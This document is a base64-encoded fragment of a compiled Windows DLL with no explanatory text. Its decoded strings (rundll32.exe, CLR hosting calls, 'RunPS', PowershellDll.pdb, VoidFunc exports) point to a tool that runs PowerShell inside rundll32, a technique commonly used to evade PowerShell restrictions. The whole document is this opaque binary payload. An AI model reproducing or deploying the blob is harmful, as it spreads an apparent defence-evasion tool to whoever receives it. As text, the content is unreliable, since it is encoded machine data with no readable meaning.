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AQAAAAAAAAAAAAAAAAAQAAAAAAAAgAgAAAAAAACAFgAAAAAAAIAGAAAAAAAAgAIAAAAAAACAGgAAAAAAAIAPAAAAAAAAgJsBAAAAAACACQAAAAAAAIAVAAAAAAAAgAAAAAAAAAAAEHEBAAAAAAAAAAAAAAAAABkCR2V0TW9kdWxlRmlsZU5hbWVBAABBA0xvYWRMaWJyYXJ5VwAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAABLRVJORUwzMi5kbGwAAE9MRUFVVDMyLmRsbAAARAFTdHJTdHJJQQAAU0hMV0FQSS5kbGwACAJHZXRMYXN0RXJyb3IAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUASgNMb2NhbEZyZWUAGARSdGxDYXB0dXJlQ29udGV4dAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACYEUnRsVmlydHVhbFVud2luZAAA4gRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALMEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAMYBR2V0Q3VycmVudFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAAAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA7wJJbml0aWFsaXplU0xpc3RIZWFkAAIDSXNEZWJ1Z2dlclByZXNlbnQAagJHZXRTdGFydHVwSW5mb1cAJQRSdGxVbndpbmRFeAAhBFJ0bFBjVG9GaWxlSGVhZGVyALQDUmFpc2VFeGNlcHRpb24AAPECSW50ZXJsb2NrZWRGbHVzaFNMaXN0AIAEU2V0TGFzdEVycm9yAADuAEVuY29kZVBvaW50ZXIA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24A6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ANMEVGxzQWxsb2MAANUEVGxzR2V0VmFsdWUA1gRUbHNTZXRWYWx1ZQDUBFRsc0ZyZWUAaAFGcmVlTGlicmFyeQBAA0xvYWRMaWJyYXJ5RXhXAAAfAUV4aXRQcm9jZXNz